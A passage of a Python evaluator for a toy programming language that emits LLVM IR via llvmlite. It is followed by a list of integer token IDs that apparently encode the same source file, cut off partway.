typeInfo.append(codegen.ptr(env.get(default)))
else:
typeInfo.append(env.get(x['type']))
if len(typeInfo) >= 0:
typeInfo = tuple(typeInfo)
#print(typeInfo)
fnty = ir.FunctionType(codegen.void(), typeInfo)
#print(fnty)
name = '__%s_%s_%s__' % (node.name, 'fx', _hash)
func = ir.Function(module, fnty, name)
block = func.append_basic_block(name="%s_entry" % (name))
builder = ir.IRBuilder(block)
eval_statements(node.body, env)
print(module)
return env.set(node.name, node)
def eval_call(node, env):
function = eval_expression(node.left, env)
isBuiltin = False
n_expected_args = None
try:
n_expected_args = len(function.params)
except AttributeError:
isBuiltin = True
n_actual_args = None
if isBuiltin == False:
n_actual_args = len(node.arguments)
if n_expected_args != n_actual_args and isinstance(function, BuiltinFunction) == False :
raise TypeError('Expected {} arguments, got {}'.format(n_expected_args, n_actual_args))
else:
#print("Herer", function)
if isinstance(function, BuiltinFunction):
args = dict(zip(function.params, [eval_expression(node, env) for node in node.arguments]))
#print(args)
function.body(args, env);
elif isinstance(function, ir.Type):
get = None
ags = [eval_expression(node, env) for node in node.arguments]
hasArray = False
if len(ags) > 0:
if isinstance(ags[0], type([])) == True:
hasArray = True
#print(function)
cnd = str(function)
if cnd == 'i8':
get = 'int8'
elif cnd == 'i16':
get = 'int16'
elif cnd == 'i32':
get = 'int32'
elif cnd == 'i64':
get = 'int64'
elif cnd == 'half':
get = 'float16'
elif cnd == 'float':
get = 'float32'
elif cnd == 'double':
get = 'double'
if hasArray:
#print("True", 'ARRAY')
if len(ags[0]) == 0:
raise IndexError('Invalid number of elements in array')
else:
if cnd in ['half', 'float' ,'double' ]:
return "%s [%s x %s]" % (cnd, ags[0][0], cnd)
else:
return env.get(get)(codegen.array(get, int(ags[0][0])))
return env.get(get)(codegen.array(get, int(ags[0][0])))
else:
if len(ags) > 0:
return env.get(get)(ags[0])
else:
return env.get(get)(0)
args = dict(zip(function.params, [eval_expression(node, env) for node in node.arguments]))
if isinstance(function, BuiltinFunction):
return function.body(args, env)
else:
call_env = Environment(env, args)
try:
return eval_statements(function.body, call_env)
except Return as ret:
return ret.value
def eval_identifier(node, env):
name = node.value
val = env.get(name)
if val is None:
raise NameError('Name "{}" is not defined'.format(name))
return val
def eval_getitem(node, env):
collection = eval_expression(node.left, env)
key = eval_expression(node.key, env)
return collection[key]
def eval_setitem(node, env):
collection = eval_expression(node.left.left, env)
key = eval_expression(node.left.key, env)
collection[key] = eval_expression(node.right, env)
def eval_array(node, env):
return [eval_expression(item, env) for item in node.items]
def eval_dict(node, env):
return {eval_expression(key, env): eval_expression(value, env) for key, value in node.items}
def eval_return(node, env):
return eval_expression(node.value, env) if node.value is not None else None
evaluators = {
ast.Number: lambda node, env: node.value,
ast.String: lambda node, env: node.value,
ast.Array: eval_array,
ast.Dictionary: eval_dict,
ast.Identifier: eval_identifier,
ast.BinaryOperator: eval_binary_operator,
ast.UnaryOperator: eval_unary_operator,
ast.SubscriptOperator: eval_getitem,
ast.Assignment: eval_assignment,
ast.Condition: eval_condition,
ast.Match: eval_match,
ast.WhileLoop: eval_while_loop,
ast.ForLoop: eval_for_loop,
ast.Function: eval_function_declaration,
ast.Call: eval_call,
ast.Return: eval_return,
}
def eval_node(node, env):
tp = type(node)
if tp in evaluators:
return evaluators[tp](node, env)
else:
raise Exception('Unknown node {} {}'.format(tp.__name__, node))
def eval_expression(node, env):
return eval_node(node, env)
def eval_statement(node, env):
return eval_node(node, env)
def eval_statements(statements, env):
ret = None
for statement in statements:
if isinstance(statement, ast.Break):
raise Break(ret)
elif isinstance(statement, ast.Continue):
raise Continue(ret)
ret = eval_statement(statement, env)
if isinstance(statement, ast.Return):
raise Return(ret)
return ret
def sketch(f, args, fx):
pass
def add_builtins(env):
builtins = {
'ptr': ('ptr', ['value'], lambda args, e: codegen.ptr(args['value'])),
}
for key, (name, params, func) in builtins.items():
env.set(key, BuiltinFunction(name, params, func))
env.set('int8', ir.IntType(8))
env.set('int16', ir.IntType(16))
env.set('int32', ir.IntType(32))
env.set('int64', ir.IntType(64))
env.set('float16', ir.HalfType())
env.set('float32', ir.FloatType())
env.set('float64', ir.DoubleType())
def create_global_env():
env = Environment()
add_builtins(env)
return env
def evaluate_env(s, env, verbose=False):
lexer = Lexer()
try:
tokens = lexer.tokenize(s)
except AbrvalgSyntaxError as err:
report_syntax_error(lexer, err)
if verbose:
raise
else:
return
if verbose:
print('Tokens')
print_tokens(tokens)
print()
token_stream = TokenStream(tokens)
try:
program = Parser().parse(token_stream)
except AbrvalgSyntaxError as err:
report_syntax_error(lexer, err)
if verbose:
raise
else:
return
if verbose:
print('AST')
print_ast(program.body)
print()
ret = eval_statements(program.body, env)
if verbose:
print('Environment')
print_env(env)
print()
return ret
def evaluate(s, verbose=False):
return evaluate_env(s, create_global_env(), verbose)
| [
1,
529,
276,
1112,
420,
29958,
29894,
12896,
29877,
7880,
29914,
29963,
12896,
13,
15945,
19451,
13,
4074,
1457,
357,
30004,
13,
1378,
5634,
30004,
13,
30004,
13,
28938,
29899,
20919,
292,
26997,
22993,
13,
15945,
19451,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
30004,
13,
5215,
5455,
30004,
13,
5215,
263,
579,
408,
8717,
30004,
13,
3166,
16250,
1053,
4257,
23583,
30004,
13,
3166,
19566,
261,
1053,
15045,
261,
29892,
25159,
3835,
30004,
13,
3166,
282,
16680,
1053,
1459,
643,
30004,
13,
3166,
4436,
1053,
27782,
791,
29887,
16676,
2392,
29892,
3461,
29918,
29562,
29918,
2704,
30004,
13,
3166,
3667,
29879,
1053,
1596,
29918,
579,
29892,
1596,
29918,
517,
12360,
29892,
1596,
29918,
6272,
30004,
13,
5215,
775,
1885,
30004,
13,
3166,
11148,
29894,
828,
568,
1053,
3805,
29892,
9956,
6756,
13,
30004,
13,
30004,
13,
3727,
2782,
262,
6678,
353,
4257,
23583,
877,
3727,
2782,
262,
6678,
742,
6024,
978,
742,
525,
7529,
742,
525,
2587,
2033,
8443,
13,
30004,
13,
5453,
353,
3805,
29889,
7355,
29898,
978,
2433,
13424,
29889,
29894,
1896,
1495,
30004,
13,
16409,
353,
6213,
30004,
13,
30004,
13,
29937,
5182,
353,
9956,
29889,
8667,
29889,
3166,
29918,
4381,
29918,
3626,
552,
26471,
13,
29937,
5182,
29918,
23523,
353,
3646,
29889,
3258,
29918,
5182,
29918,
23523,
26471,
13,
30004,
13,
29937,
2158,
29898,
5182,
29892,
3646,
29918,
23523,
29897,
6756,
13,
30004,
13,
1990,
28301,
29898,
2451,
1125,
30004,
13,
1678,
1209,
30004,
13,
30004,
13,
30004,
13,
1990,
2866,
14150,
29898,
2451,
1125,
30004,
13,
1678,
1209,
30004,
13,
30004,
13,
30004,
13,
1990,
7106,
29898,
2451,
1125,
30004,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
995,
1125,
30004,
13,
4706,
1583,
29889,
1767,
353,
995,
30004,
13,
30004,
13,
30004,
13,
1990,
16738,
29898,
3318,
1125,
30004,
13,
30004,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3847,
29922,
8516,
29892,
6389,
29922,
8516,
1125,
30004,
13,
4706,
1583,
3032,
3560,
353,
3847,
30004,
13,
4706,
1583,
3032,
5975,
353,
6571,
30004,
13,
4706,
565,
6389,
338,
451,
6213,
29901,
30004,
13,
9651,
1583,
3032,
3166,
29918,
8977,
29898,
5085,
8443,
13,
30004,
13,
1678,
822,
903,
3166,
29918,
8977,
29898,
1311,
29892,
6389,
1125,
30004,
13,
4706,
363,
1820,
29892,
995,
297,
6389,
29889,
7076,
7295,
30004,
13,
9651,
1583,
29889,
842,
29898,
1989,
29892,
995,
8443,
13,
30004,
13,
1678,
822,
731,
29898,
1311,
29892,
1820,
29892,
659,
1125,
30004,
13,
4706,
1583,
3032,
5975,
29961,
1989,
29962,
353,
659,
30004,
13,
30004,
13,
1678,
822,
679,
29898,
1311,
29892,
1820,
1125,
30004,
13,
4706,
659,
353,
1583,
3032,
5975,
29889,
657,
29898,
1989,
29892,
6213,
8443,
13,
4706,
565,
659,
338,
6213,
322,
1583,
3032,
3560,
338,
451,
6213,
29901,
30004,
13,
9651,
736,
1583,
3032,
3560,
29889,
657,
29898,
1989,
8443,
13,
4706,
1683,
29901,
30004,
13,
9651,
736,
659,
30004,
13,
30004,
13,
1678,
822,
408,
8977,
29898,
1311,
1125,
30004,
13,
4706,
736,
1583,
3032,
5975,
30004,
13,
30004,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
30004,
13,
4706,
736,
525,
18649,
3319,
1800,
4286,
4830,
29898,
710,
29898,
1311,
3032,
5975,
876,
30004,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
19541,
29918,
6891,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
2560,
29918,
3372,
800,
353,
3336,
13,
4706,
525,
29974,
2396,
5455,
29889,
1202,
11167,
13,
4706,
17411,
2396,
5455,
29889,
1491,
11167,
13,
4706,
525,
29930,
2396,
5455,
29889,
16109,
11167,
13,
4706,
8207,
2396,
5455,
29889,
509,
6742,
440,
11167,
13,
4706,
14210,
2396,
5455,
29889,
1545,
11167,
13,
4706,
525,
29958,
2396,
5455,
29889,
4141,
11167,
13,
4706,
525,
18572,
2396,
5455,
29889,
479,
11167,
13,
4706,
12801,
2396,
5455,
29889,
1896,
11167,
13,
4706,
12801,
29922,
2396,
5455,
29889,
280,
11167,
13,
4706,
525,
1360,
2396,
5455,
29889,
1837,
11167,
13,
4706,
525,
19216,
2396,
5455,
29889,
484,
11167,
13,
4706,
525,
636,
2396,
3464,
11167,
13,
4706,
525,
856,
2396,
14013,
1369,
29892,
1095,
29901,
3464,
29898,
2962,
29892,
1095,
718,
29871,
29896,
511,
30004,
13,
1678,
4970,
13,
1678,
17366,
29918,
3372,
800,
353,
3336,
13,
4706,
525,
12774,
2396,
14013,
301,
3177,
29892,
301,
6272,
29901,
6120,
29898,
14513,
29918,
17471,
29898,
3083,
356,
29889,
1563,
29892,
301,
6272,
876,
322,
6120,
29898,
14513,
29918,
17471,
29898,
3083,
356,
29889,
1266,
29892,
301,
6272,
8243,
30004,
13,
4706,
525,
8876,
2396,
14013,
301,
3177,
29892,
301,
6272,
29901,
6120,
29898,
14513,
29918,
17471,
29898,
3083,
356,
29889,
1563,
29892,
301,
6272,
876,
470,
6120,
29898,
14513,
29918,
17471,
29898,
3083,
356,
29889,
1266,
29892,
301,
6272,
8243,
30004,
13,
1678,
4970,
13,
1678,
565,
2943,
29889,
6891,
297,
2560,
29918,
3372,
800,
29901,
30004,
13,
4706,
736,
2560,
29918,
3372,
800,
29961,
3177,
29889,
6891,
850,
14513,
29918,
17471,
29898,
3177,
29889,
1563,
29892,
8829,
511,
19745,
29918,
17471,
29898,
3177,
29889,
1266,
29892,
8829,
876,
30004,
13,
1678,
25342,
2943,
29889,
6891,
297,
17366,
29918,
3372,
800,
29901,
30004,
13,
4706,
736,
17366,
29918,
3372,
800,
29961,
3177,
29889,
6891,
850,
3177,
29892,
8829,
8443,
13,
1678,
1683,
29901,
30004,
13,
4706,
12020,
8960,
877,
13919,
5455,
6571,
4286,
4830,
29898,
3177,
29889,
6891,
876,
30004,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
348,
653,
29918,
6891,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
6931,
353,
3336,
13,
4706,
17411,
2396,
5455,
29889,
10052,
11167,
13,
4706,
525,
29991,
2396,
5455,
29889,
1333,
3383,
30004,
13,
1678,
4970,
13,
1678,
736,
6931,
29961,
3177,
29889,
6891,
850,
14513,
29918,
17471,
29898,
3177,
29889,
1266,
29892,
8829,
876,
30004,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
465,
10194,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
565,
338,
8758,
29898,
3177,
29889,
1563,
29892,
8717,
29889,
4035,
2154,
26486,
1125,
30004,
13,
4706,
736,
19745,
29918,
842,
667,
29898,
3177,
29892,
8829,
8443,
13,
1678,
1683,
29901,
30004,
13,
4706,
736,
8829,
29889,
842,
29898,
3177,
29889,
1563,
29889,
1767,
29892,
19745,
29918,
17471,
29898,
3177,
29889,
1266,
29892,
8829,
876,
30004,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
16122,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
565,
19745,
29918,
17471,
29898,
3177,
29889,
1688,
29892,
8829,
1125,
30004,
13,
4706,
736,
19745,
29918,
6112,
4110,
29898,
3177,
29889,
361,
29918,
2587,
29892,
8829,
8443,
13,
30004,
13,
1678,
363,
2148,
297,
2943,
29889,
295,
10270,
29901,
30004,
13,
4706,
565,
19745,
29918,
17471,
29898,
1116,
29889,
1688,
29892,
8829,
1125,
30004,
13,
9651,
736,
19745,
29918,
6112,
4110,
29898,
1116,
29889,
2587,
29892,
8829,
8443,
13,
30004,
13,
1678,
565,
2943,
29889,
2870,
29918,
2587,
338,
451,
6213,
29901,
30004,
13,
4706,
736,
19745,
29918,
6112,
4110,
29898,
3177,
29889,
2870,
29918,
2587,
29892,
8829,
8443,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
4352,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
1243,
353,
19745,
29918,
17471,
29898,
3177,
29889,
1688,
29892,
8829,
8443,
13,
1678,
363,
4766,
297,
2943,
29889,
11037,
29879,
29901,
30004,
13,
4706,
565,
19745,
29918,
17471,
29898,
11037,
29889,
11037,
29892,
8829,
29897,
1275,
1243,
29901,
30004,
13,
9651,
736,
19745,
29918,
6112,
4110,
29898,
11037,
29889,
2587,
29892,
8829,
8443,
13,
1678,
565,
2943,
29889,
2870,
29918,
2587,
338,
451,
6213,
29901,
30004,
13,
4706,
736,
19745,
29918,
6112,
4110,
29898,
3177,
29889,
2870,
29918,
2587,
29892,
8829,
8443,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
8000,
29918,
7888,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
1550,
19745,
29918,
17471,
29898,
3177,
29889,
1688,
29892,
8829,
1125,
30004,
13,
4706,
1018,
29901,
30004,
13,
9651,
19745,
29918,
6112,
4110,
29898,
3177,
29889,
2587,
29892,
8829,
8443,
13,
4706,
5174,
28301,
29901,
30004,
13,
9651,
2867,
30004,
13,
4706,
5174,
2866,
14150,
29901,
30004,
13,
9651,
1209,
30004,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
1454,
29918,
7888,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
722,
29918,
978,
353,
2943,
29889,
1707,
29918,
978,
30004,
13,
1678,
4333,
353,
19745,
29918,
17471,
29898,
3177,
29889,
10855,
29892,
8829,
8443,
13,
1678,
363,
659,
297,
4333,
29901,
30004,
13,
4706,
8829,
29889,
842,
29898,
1707,
29918,
978,
29892,
659,
8443,
13,
4706,
1018,
29901,
30004,
13,
9651,
19745,
29918,
6112,
4110,
29898,
3177,
29889,
2587,
29892,
8829,
8443,
13,
4706,
5174,
28301,
29901,
30004,
13,
9651,
2867,
30004,
13,
4706,
5174,
2866,
14150,
29901,
30004,
13,
9651,
1209,
30004,
13,
30004,
13,
1853,
3401,
353,
6213,
30004,
13,
30004,
13,
1753,
19745,
29918,
2220,
29918,
311,
16544,
362,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
1134,
3401,
353,
5159,
30004,
13,
1678,
903,
8568,
353,
6629,
30004,
13,
1678,
565,
338,
8758,
29898,
3177,
29889,
7529,
29892,
1134,
29898,
8516,
876,
1275,
7700,
29901,
30004,
13,
4706,
363,
921,
297,
2943,
29889,
7529,
29901,
30004,
13,
9651,
903,
8568,
353,
903,
8568,
718,
921,
1839,
1853,
2033,
30004,
13,
9651,
565,
921,
1839,
1853,
2033,
1275,
525,
7414,
2396,
30004,
13,
18884,
2322,
353,
921,
1839,
4381,
13359,
25699,
29961,
29900,
1822,
1767,
30004,
13,
18884,
1134,
3401,
29889,
4397,
29898,
401,
1885,
29889,
7414,
29898,
6272,
29889,
657,
29898,
4381,
4961,
30004,
13,
9651,
1683,
29901,
30004,
13,
18884,
1134,
3401,
29889,
4397,
29898,
6272,
29889,
657,
29898,
29916,
1839,
1853,
25901,
30004,
13,
30004,
13,
1678,
565,
7431,
29898,
1853,
3401,
29897,
6736,
29871,
29900,
29901,
30004,
13,
4706,
1134,
3401,
353,
18761,
29898,
1853,
3401,
8443,
13,
30004,
13,
1678,
396,
2158,
29898,
1853,
3401,
8443,
13,
1678,
285,
593,
29891,
353,
3805,
29889,
6678,
1542,
29898,
401,
1885,
29889,
5405,
3285,
1134,
3401,
8443,
13,
1678,
396,
2158,
29898,
29888,
593,
29891,
8443,
13,
1678,
6756,
13,
1678,
1024,
353,
525,
1649,
29995,
29879,
29918,
29995,
29879,
29918,
29995,
29879,
1649,
29915,
1273,
313,
3177,
29889,
978,
29892,
525,
11093,
742,
903,
8568,
8443,
13,
1678,
3653,
353,
3805,
29889,
6678,
29898,
5453,
29892,
285,
593,
29891,
29892,
1024,
8443,
13,
30004,
13,
1678,
6756,
13,
1678,
2908,
353,
3653,
29889,
4397,
29918,
16121,
29918,
1271,
29898,
978,
543,
29995,
29879,
29918,
8269,
29908,
1273,
313,
978,
876,
30004,
13,
1678,
12856,
353,
3805,
29889,
8193,
5627,
29898,
1271,
8443,
13,
1678,
19745,
29918,
6112,
4110,
29898,
3177,
29889,
2587,
29892,
8829,
8443,
13,
1678,
1596,
29898,
5453,
8443,
13,
1678,
6756,
13,
1678,
736,
8829,
29889,
842,
29898,
3177,
29889,
978,
29892,
2943,
8443,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
4804,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
740,
353,
19745,
29918,
17471,
29898,
3177,
29889,
1563,
29892,
8829,
8443,
13,
1678,
338,
3727,
2782,
262,
353,
7700,
30004,
13,
1678,
302,
29918,
9684,
29918,
5085,
353,
6213,
30004,
13,
1678,
1018,
29901,
30004,
13,
4706,
302,
29918,
9684,
29918,
5085,
353,
7431,
29898,
2220,
29889,
7529,
8443,
13,
1678,
5174,
23833,
2392,
29901,
30004,
13,
4706,
338,
3727,
2782,
262,
353,
5852,
30004,
13,
1678,
6756,
13,
1678,
302,
29918,
19304,
29918,
5085,
353,
6213,
30004,
13,
1678,
565,
338,
3727,
2782,
262,
1275,
7700,
29901,
30004,
13,
4706,
302,
29918,
19304,
29918,
5085,
353,
7431,
29898,
3177,
29889,
25699,
8443,
13,
1678,
565,
302,
29918,
9684,
29918,
5085,
2804,
302,
29918,
19304,
29918,
5085,
322,
338,
8758,
29898,
2220,
29892,
5373,
2782,
262,
6678,
29897,
1275,
7700,
584,
30004,
13,
4706,
12020,
20948,
877,
1252,
6021,
6571,
6273,
29892,
2355,
6571,
4286,
4830,
29898,
29876,
29918,
9684,
29918,
5085,
29892,
302,
29918,
19304,
29918,
5085,
876,
30004,
13,
1678,
1683,
29901,
30004,
13,
4706,
396,
2158,
703,
29950,
11377,
613,
740,
8443,
13,
4706,
565,
338,
8758,
29898,
2220,
29892,
5373,
2782,
262,
6678,
1125,
30004,
13,
9651,
6389,
353,
9657,
29898,
7554,
29898,
2220,
29889,
7529,
29892,
518,
14513,
29918,
17471,
29898,
3177,
29892,
8829,
29897,
363,
2943,
297,
2943,
29889,
25699,
12622,
30004,
13,
9651,
396,
2158,
29898,
5085,
8443,
13,
9651,
740,
29889,
2587,
29898,
5085,
29892,
8829,
6075,
13,
4706,
25342,
338,
8758,
29898,
2220,
29892,
3805,
29889,
1542,
1125,
30004,
13,
9651,
679,
353,
6213,
30004,
13,
9651,
946,
29879,
353,
518,
14513,
29918,
17471,
29898,
3177,
29892,
8829,
29897,
363,
2943,
297,
2943,
29889,
25699,
29962,
30004,
13,
30004,
13,
9651,
756,
2588,
353,
7700,
30004,
13,
9651,
565,
7431,
29898,
810,
29897,
1405,
29871,
29900,
29901,
30004,
13,
18884,
565,
338,
8758,
29898,
810,
29961,
29900,
1402,
1134,
29898,
2636,
876,
1275,
5852,
29901,
30004,
13,
462,
1678,
756,
2588,
353,
5852,
30004,
13,
18884,
6756,
13,
9651,
396,
2158,
29898,
2220,
8443,
13,
9651,
274,
299,
353,
851,
29898,
2220,
8443,
13,
9651,
565,
274,
299,
1275,
525,
29875,
29947,
2396,
30004,
13,
18884,
679,
353,
525,
524,
29947,
29915,
30004,
13,
9651,
25342,
274,
299,
1275,
525,
29875,
29896,
29953,
2396,
30004,
13,
18884,
679,
353,
525,
524,
29896,
29953,
29915,
30004,
13,
9651,
25342,
274,
299,
1275,
525,
29875,
29941,
29906,
2396,
30004,
13,
18884,
679,
353,
525,
524,
29941,
29906,
29915,
30004,
13,
9651,
25342,
274,
299,
1275,
525,
29875,
29953,
29946,
2396,
30004,
13,
18884,
679,
353,
525,
524,
29953,
29946,
29915,
30004,
13,
30004,
13,
9651,
25342,
274,
299,
1275,
525,
24498,
2396,
30004,
13,
18884,
679,
353,
525,
7411,
29896,
29953,
29915,
30004,
13,
9651,
25342,
274,
299,
1275,
525,
7411,
2396,
30004,
13,
18884,
679,
353,
525,
7411,
29941,
29906,
29915,
30004,
13,
9651,
25342,
274,
299,
1275,
525,
8896,
2396,
30004,
13,
18884,
679,
353,
525,
8896,
29915,
30004,
13,
30004,
13,
9651,
565,
756,
2588,
29901,
30004,
13,
18884,
396,
2158,
703,
5574,
613,
525,
1718,
22800,
1495,
30004,
13,
18884,
565,
7431,
29898,
810,
29961,
29900,
2314,
1275,
29871,
29900,
29901,
30004,
13,
462,
1678,
12020,
11374,
2392,
877,
13919,
1353,
310,
3161,
297,
1409,
1495,
30004,
13,
18884,
1683,
29901,
30004,
13,
462,
1678,
565,
274,
299,
297,
6024,
24498,
742,
525,
7411,
29915,
1919,
29915,
8896,
29915,
4514,
29901,
30004,
13,
462,
4706,
736,
11860,
29879,
518,
29995,
29879,
921,
1273,
29879,
18017,
1273,
313,
29883,
299,
29892,
946,
29879,
29961,
29900,
3816,
29900,
1402,
274,
299,
8443,
13,
462,
1678,
1683,
29901,
30004,
13,
462,
4706,
736,
8829,
29889,
657,
29898,
657,
5033,
401,
1885,
29889,
2378,
29898,
657,
29892,
938,
29898,
810,
29961,
29900,
3816,
29900,
29962,
4961,
30004,
13,
30004,
13,
462,
1678,
736,
8829,
29889,
657,
29898,
657,
5033,
401,
1885,
29889,
2378,
29898,
657,
29892,
938,
29898,
810,
29961,
29900,
3816,
29900,
29962,
4961,
30004,
13,
462,
1678,
6756,
13,
9651,
1683,
29901,
30004,
13,
18884,
565,
7431,
29898,
810,
29897,
1405,
29871,
29900,
29901,
6756,
13,
462,
1678,
736,
8829,
29889,
657,
29898,
657,
5033,
810,
29961,
29900,
2314,
30004,
13,
18884,
1683,
29901,
30004,
13,
462,
1678,
736,
8829,
29889,
657,
29898,
657,
5033,
29900,
8443,
13,
30004,
13,
1678,
6389,
353,
9657,
29898,
7554,
29898,
2220,
29889,
7529,
29892,
518,
14513,
29918,
17471,
29898,
3177,
29892,
8829,
29897,
363,
2943,
297,
2943,
29889,
25699,
12622,
30004,
13,
1678,
565,
338,
8758,
29898,
2220,
29892,
5373,
2782,
262,
6678,
1125,
30004,
13,
4706,
736,
740,
29889,
2587,
29898,
5085,
29892,
8829,
8443,
13,
1678,
1683,
29901,
30004,
13,
4706,
1246,
29918,
6272,
353,
16738,
29898,
6272,
29892,
6389,
8443,
13,
4706,
1018,
29901,
30004,
13,
9651,
736,
19745,
29918,
6112,
4110,
29898,
2220,
29889,
2587,
29892,
1246,
29918,
6272,
8443,
13,
4706,
5174,
7106,
408,
3240,
29901,
30004,
13,
9651,
736,
3240,
29889,
1767,
30004,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
25378,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
1024,
353,
2943,
29889,
1767,
30004,
13,
1678,
659,
353,
8829,
29889,
657,
29898,
978,
8443,
13,
1678,
565,
659,
338,
6213,
29901,
30004,
13,
4706,
12020,
4408,
2392,
877,
1170,
29850,
5038,
338,
451,
3342,
4286,
4830,
29898,
978,
876,
30004,
13,
1678,
736,
659,
30004,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
657,
667,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
4333,
353,
19745,
29918,
17471,
29898,
3177,
29889,
1563,
29892,
8829,
8443,
13,
1678,
1820,
353,
19745,
29918,
17471,
29898,
3177,
29889,
1989,
29892,
8829,
8443,
13,
1678,
736,
4333,
29961,
1989,
29962,
30004,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
842,
667,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
4333,
353,
19745,
29918,
17471,
29898,
3177,
29889,
1563,
29889,
1563,
29892,
8829,
8443,
13,
1678,
1820,
353,
19745,
29918,
17471,
29898,
3177,
29889,
1563,
29889,
1989,
29892,
8829,
8443,
13,
1678,
4333,
29961,
1989,
29962,
353,
19745,
29918,
17471,
29898,
3177,
29889,
1266,
29892,
8829,
8443,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
2378,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
6756,
13,
1678,
736,
518,
14513,
29918,
17471,
29898,
667,
29892,
8829,
29897,
363,
2944,
297,
2943,
29889,
7076,
29962,
30004,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
8977,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
736,
426,
14513,
29918,
17471,
29898,
1989,
29892,
8829,
1125,
19745,
29918,
17471,
29898,
1767,
29892,
8829,
29897,
363,
1820,
29892,
995,
297,
2943,
29889,
7076,
8117,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
2457,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
736,
19745,
29918,
17471,
29898,
3177,
29889,
1767,
29892,
8829,
29897,
565,
2943,
29889,
1767,
338,
451,
6213,
1683,
6213,
30004,
13,
30004,
13,
30004,
13,
24219,
4097,
353,
3336,
13,
1678,
8717,
29889,
4557,
29901,
14013,
2943,
29892,
8829,
29901,
2943,
29889,
1767,
11167,
13,
1678,
8717,
29889,
1231,
29901,
14013,
2943,
29892,
8829,
29901,
2943,
29889,
1767,
11167,
13,
1678,
8717,
29889,
2588,
29901,
19745,
29918,
2378,
11167,
13,
1678,
8717,
29889,
11513,
29901,
19745,
29918,
8977,
11167,
13,
1678,
8717,
29889,
12889,
29901,
19745,
29918,
25378,
11167,
13,
1678,
8717,
29889,
25196,
26486,
29901,
19745,
29918,
19541,
29918,
6891,
11167,
13,
1678,
8717,
29889,
2525,
653,
26486,
29901,
19745,
29918,
348,
653,
29918,
6891,
11167,
13,
1678,
8717,
29889,
4035,
2154,
26486,
29901,
19745,
29918,
657,
667,
11167,
13,
1678,
8717,
29889,
7900,
10194,
29901,
19745,
29918,
465,
10194,
11167,
13,
1678,
8717,
29889,
25255,
29901,
19745,
29918,
16122,
11167,
13,
1678,
8717,
29889,
9652,
29901,
19745,
29918,
4352,
11167,
13,
1678,
8717,
29889,
8809,
488,
18405,
29901,
19745,
29918,
8000,
29918,
7888,
11167,
13,
1678,
8717,
29889,
2831,
18405,
29901,
19745,
29918,
1454,
29918,
7888,
11167,
13,
1678,
8717,
29889,
6678,
29901,
19745,
29918,
2220,
29918,
311,
16544,
362,
11167,
13,
1678,
8717,
29889,
5594,
29901,
19745,
29918,
4804,
11167,
13,
1678,
8717,
29889,
11609,
29901,
19745,
29918,
2457,
11167,
13,
8117,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
3177,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
260,
29886,
353,
1134,
29898,
3177,
8443,
13,
1678,
565,
260,
29886,
297,
6161,
4097,
29901,
30004,
13,
4706,
736,
6161,
4097,
29961,
9392,
850,
3177,
29892,
8829,
8443,
13,
1678,
1683,
29901,
30004,
13,
4706,
12020,
8960,
877,
14148,
2943,
6571,
6571,
4286,
4830,
29898,
9392,
17255,
978,
1649,
29892,
2943,
876,
30004,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
17471,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
736,
19745,
29918,
3177,
29898,
3177,
29892,
8829,
8443,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
20788,
29898,
3177,
29892,
8829,
1125,
30004,
13,
1678,
736,
19745,
29918,
3177,
29898,
3177,
29892,
8829,
8443,
13,
30004,
13,
30004,
13,
1753,
19745,
29918,
6112,
4110,
29898,
6112,
4110,
29892,
8829,
1125,
30004,
13,
1678,
3240,
353,
6213,
30004,
13,
1678,
363,
3229,
297,
9506,
29901,
30004,
13,
4706,
565,
338,
8758,
29898,
20788,
29892,
8717,
29889,
20130,
557,
1125,
30004,
13,
9651,
12020,
28301,
29898,
2267,
8443,
13,
4706,
25342,
338,
8758,
29898,
20788,
29892,
8717,
29889,
1323,
14150,
1125,
30004,
13,
9651,
12020,
2866,
14150,
29898,
2267,
8443,
13,
4706,
3240,
353,
19745,
29918,
20788,
29898,
20788,
29892,
8829,
8443,
13,
4706,
565,
338,
8758,
29898,
20788,
29892,
8717,
29889,
11609,
1125,
30004,
13,
9651,
12020,
7106,
29898,
2267,
8443,
13,
1678,
736,
3240,
30004,
13,
30004,
13,
30004,
13,
1753,
21256,
29898,
29888,
29892,
6389,
29892,
285,
29916,
1125,
30004,
13,
1678,
1209,
30004,
13,
30004,
13,
1753,
788,
29918,
16145,
1144,
29898,
6272,
1125,
30004,
13,
1678,
6756,
13,
1678,
4240,
1144,
353,
3336,
13,
4706,
525,
7414,
2396,
6702,
7414,
742,
6024,
1767,
7464,
14013,
6389,
29892,
321,
29901,
775,
